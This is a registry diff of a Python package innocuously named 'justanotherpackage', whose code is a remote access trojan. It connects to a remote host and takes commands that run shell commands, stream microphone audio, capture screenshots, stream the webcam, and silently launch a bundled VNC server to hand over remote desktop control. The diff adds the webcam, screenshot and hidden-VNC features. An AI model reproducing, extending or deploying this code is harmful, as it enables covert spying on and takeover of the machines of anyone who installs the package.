justanotherpackage 0.2.0__py3-none-any.whl → 0.2.2__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6,8 +6,11 @@ from wmi import WMI
6
6
  import json
7
7
  import threading
8
8
  from .shell import create_shell
9
- from .audio import start_audio_stream
10
- from .terminal import terminal
9
+ from .features.audio import start_audio_stream
10
+ from .features.terminal import terminal
11
+ from .features.screenshot import send_screenshot
12
+ from .features.webcam import send_webcam_stream
13
+ from .features.remote_desktop import start_remote_desktop
11
14
  from .account_type import check_account_type
12
15
 
13
16
  def get_client_info():
@@ -82,6 +85,21 @@ def start_connection(HOST, PORT):
82
85
  thread.daemon = True
83
86
  thread.start()
84
87
 
88
+ elif data.get("screenshot") is not None:
89
+ thread = threading.Thread(target=send_screenshot, args=(client_socket,))
90
+ thread.daemon = True
91
+ thread.start()
92
+
93
+ elif data.get("webcam") is not None:
94
+ thread = threading.Thread(target=send_webcam_stream, args=(client_socket,))
95
+ thread.daemon = True
96
+ thread.start()
97
+
98
+ elif data.get("remote_desktop") is not None and data.get("port") is not None:
99
+ thread = threading.Thread(target=start_remote_desktop, args=(data, client_socket,))
100
+ thread.daemon = True
101
+ thread.start()
102
+
85
103
  except (socket.error, ConnectionResetError):
86
104
  time.sleep(1)
87
105
  continue
File without changes
@@ -0,0 +1,32 @@
1
+ import pyaudio
2
+ import json
3
+
4
+ def start_audio_stream(client_socket):
5
+ p = pyaudio.PyAudio()
6
+
7
+ input_device_count = p.get_device_count()
8
+ input_device_found = False
9
+ for i in range(input_device_count):
10
+ if p.get_device_info_by_index(i).get('maxInputChannels') > 0:
11
+ input_device_found = True
12
+ break
13
+
14
+ if not input_device_found:
15
+ client_socket.sendall(json.dumps({"logger": "No input device found"}).encode())
16
+ return
17
+
18
+ stream = p.open(format=pyaudio.paInt16,
19
+ channels=1,
20
+ rate=44100,
21
+ input=True,
22
+ frames_per_buffer=1024)
23
+
24
+ while True:
25
+ try:
26
+ audio_data = stream.read(1024)
27
+ client_socket.sendall(audio_data)
28
+ except (ConnectionError, ConnectionResetError):
29
+ pass
30
+ except Exception as e:
31
+ message = f"From Remote: {str(e)}"
32
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -0,0 +1,40 @@
1
+ import psutil
2
+ import subprocess
3
+ import time
4
+ import justanotherpackage
5
+ import os
6
+ import json
7
+
8
+ def find_process_by_exe(file_name):
9
+ for proc in psutil.process_iter(['pid', 'exe']):
10
+ try:
11
+ if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
12
+ return proc.info['pid']
13
+ except (psutil.AccessDenied, psutil.NoSuchProcess):
14
+ continue
15
+ return None
16
+
17
+ def start_remote_desktop(data, client_socket):
18
+ try:
19
+ port = data["port"]
20
+ remote_pid = find_process_by_exe("winvnc.exe")
21
+ program_path = os.path.join(
22
+ os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
23
+ )
24
+
25
+ if not remote_pid:
26
+ subprocess.Popen(
27
+ [program_path],
28
+ shell=True,
29
+ creationflags=subprocess.CREATE_NO_WINDOW
30
+ )
31
+ time.sleep(3)
32
+
33
+ remote_pid = find_process_by_exe("winvnc.exe")
34
+
35
+ if remote_pid:
36
+ command = [program_path, "-connect", port]
37
+ subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
38
+
39
+ except (ConnectionError, ConnectionResetError):
40
+ pass
@@ -0,0 +1,29 @@
1
+ import pyautogui
2
+ import io
3
+ import struct
4
+ from PIL import ImageGrab
5
+ import json
6
+
7
+ def send_screenshot(client_socket):
8
+ while True:
9
+ try:
10
+ try:
11
+ screenshot = pyautogui.screenshot()
12
+ except OSError:
13
+ screenshot = ImageGrab.grab()
14
+
15
+ buffer = io.BytesIO()
16
+ screenshot.save(buffer, format="PNG")
17
+ screenshot_data = buffer.getvalue()
18
+
19
+ client_socket.sendall(struct.pack(">I", len(screenshot_data)))
20
+
21
+ total_sent = 0
22
+ while total_sent < len(screenshot_data):
23
+ sent = client_socket.send(screenshot_data[total_sent:])
24
+ total_sent += sent
25
+ except (ConnectionError, ConnectionResetError):
26
+ pass
27
+ except Exception as e:
28
+ message = f"From Remote: {str(e)}"
29
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -0,0 +1,25 @@
1
+ import time
2
+ import json
3
+
4
+ def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
5
+ try:
6
+ command = data["terminal"]
7
+
8
+ shell.stdin.write(command + "\n")
9
+ shell.stdin.flush()
10
+
11
+ time.sleep(0.5)
12
+ output = ""
13
+
14
+ while not stdout_queue.empty() or not stderr_queue.empty():
15
+ while not stdout_queue.empty():
16
+ output += stdout_queue.get_nowait()
17
+ while not stderr_queue.empty():
18
+ output += stderr_queue.get_nowait()
19
+
20
+ client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
21
+ except (ConnectionError, ConnectionResetError):
22
+ pass
23
+ except Exception as e:
24
+ message = f"From Remote: {str(e)}"
25
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -0,0 +1,41 @@
1
+ import cv2
2
+ import struct
3
+ import json
4
+
5
+ def send_webcam_stream(client_socket):
6
+ try:
7
+ cap = cv2.VideoCapture(0)
8
+
9
+ if not cap.isOpened():
10
+ client_socket.sendall(json.dumps({"logger": "No webcam device found"}).encode())
11
+ return
12
+ except (ConnectionError, ConnectionResetError):
13
+ pass
14
+ except Exception as e:
15
+ message = f"From Remote: {str(e)}"
16
+ client_socket.sendall(json.dumps({"logger": message}).encode())
17
+
18
+ while True:
19
+ try:
20
+ ret, frame = cap.read()
21
+ if not ret:
22
+ client_socket.sendall(json.dumps({"logger": "Error: Failed to capture frame."}).encode())
23
+ break
24
+
25
+ _, jpeg_frame = cv2.imencode('.jpg', frame)
26
+ frame_data = jpeg_frame.tobytes()
27
+
28
+ client_socket.sendall(struct.pack(">I", len(frame_data)))
29
+
30
+ total_sent = 0
31
+ while total_sent < len(frame_data):
32
+ sent = client_socket.send(frame_data[total_sent:])
33
+ total_sent += sent
34
+
35
+ cap.release()
36
+ client_socket.sendall(json.dumps({"logger": "Webcam streaming stopped."}).encode())
37
+ except (ConnectionError, ConnectionResetError):
38
+ pass
39
+ except Exception as e:
40
+ message = f"From Remote: {str(e)}"
41
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.0
3
+ Version: 0.2.2
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,9 +1,13 @@
1
1
  justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
2
2
  justanotherpackage/account_type.py,sha256=YH4zvnWs4EmFXjeMGuyNtMf86PeQgY2U22yt2V8TIAo,224
3
- justanotherpackage/audio.py,sha256=_ofvXl3aCmRou_h_V6Dw4HCoAaUP6mXGyRNx7C8YvdM,447
4
- justanotherpackage/connect.py,sha256=6dEk-uo83ozPLyuRsnNsTOsRHnOPuTwNygNU9coNQbc,3112
3
+ justanotherpackage/connect.py,sha256=CNomVOcdgxHGGDCL8sFMoV4TOACehDPBemLifvrkyLM,4031
5
4
  justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
6
- justanotherpackage/terminal.py,sha256=X7TsYNDuKG_kpGpFKhLI5g35-6wbn9d0k4on-qSix3A,575
5
+ justanotherpackage/features/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
6
+ justanotherpackage/features/audio.py,sha256=9dhyGGNhlWaiYbgEK1c19mckqDYyKwLKALTLMhQpQSg,1033
7
+ justanotherpackage/features/remote_desktop.py,sha256=ttgLt_zfodVCxRALWXfjcUWEjGGLuVXpz2jj9aGQzm4,1247
8
+ justanotherpackage/features/screenshot.py,sha256=FcusDnKBADNFenEp47aJ9ZGYDI8gaq_V9jl4kXeSTDo,941
9
+ justanotherpackage/features/terminal.py,sha256=_6II5j_1Y46DuYfcbA4pFiLpNn7BcGBpse2sf-R8XtA,852
10
+ justanotherpackage/features/webcam.py,sha256=QUP1ull7G7sroSwi6gebekm5osMT_c54ZSYYFc7Nuv8,1438
7
11
  justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
8
12
  justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
9
13
  justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
@@ -13,7 +17,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
13
17
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
14
18
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
15
19
  justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
16
- justanotherpackage-0.2.0.dist-info/METADATA,sha256=G14QfBxYJX5E5LG-hs8kI0vgtD9x1plUXOSssGcm-uk,115
17
- justanotherpackage-0.2.0.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
18
- justanotherpackage-0.2.0.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
19
- justanotherpackage-0.2.0.dist-info/RECORD,,
20
+ justanotherpackage-0.2.2.dist-info/METADATA,sha256=Dgh1q-BAMJoL8YuviMkCYT321iUGSvXLKIQP84zDz6E,115
21
+ justanotherpackage-0.2.2.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
22
+ justanotherpackage-0.2.2.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
23
+ justanotherpackage-0.2.2.dist-info/RECORD,,
@@ -1,16 +0,0 @@
1
- import pyaudio
2
-
3
- def start_audio_stream(client_socket):
4
- p = pyaudio.PyAudio()
5
- stream = p.open(format=pyaudio.paInt16,
6
- channels=1,
7
- rate=44100,
8
- input=True,
9
- frames_per_buffer=1024)
10
-
11
- while True:
12
- try:
13
- audio_data = stream.read(1024)
14
- client_socket.sendall(audio_data)
15
- except Exception as e:
16
- break
@@ -1,18 +0,0 @@
1
- import time
2
-
3
- def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
4
- command = data["terminal"]
5
-
6
- shell.stdin.write(command + "\n")
7
- shell.stdin.flush()
8
-
9
- time.sleep(0.5)
10
- output = ""
11
-
12
- while not stdout_queue.empty() or not stderr_queue.empty():
13
- while not stdout_queue.empty():
14
- output += stdout_queue.get_nowait()
15
- while not stderr_queue.empty():
16
- output += stderr_queue.get_nowait()
17
-
18
- client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")